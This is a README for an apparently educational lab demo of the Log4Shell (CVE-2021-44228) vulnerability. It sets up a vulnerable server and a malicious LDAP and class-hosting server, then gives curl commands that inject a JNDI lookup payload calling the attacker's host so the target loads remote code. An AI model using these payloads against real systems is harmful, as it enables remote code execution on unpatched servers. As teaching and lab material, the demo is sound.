Log4Shell in action

This project aims to demonstrate how the Log4Shell / CVE-2021-44228 vulnerability works.

Requirements

You only need to have Docker installed. Ideally you have two different virtual machines. One for the vulnerable server and one for the malicious server that will host the malicious codebase and a LDAP server.

Optionally you have Make and Docker Compose installed but this is not necesarry since this repo also contains a make.sh to skip these requirements and use them from within a docker container.

Install Docker (optionally)

If you haven't already, here are the steps to install Docker on a Debian VM. You can use these steps: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46

Download the repository

git clone git@github.com:mschmnet/Log4Shell-demo.git

Install vulnerable server

cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed

Start malicious server

This will start a basic LDAP server and basic Python server to serve the malicious Java classes.

You need to provide the IP address or domain name where these servers will be available

cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed

How to attack the target server

curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint

or just

curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'

where ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} is just URL encoded

How to stop any of them

../make.sh stop

How to show the logs

../make.sh logs

Slides

https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf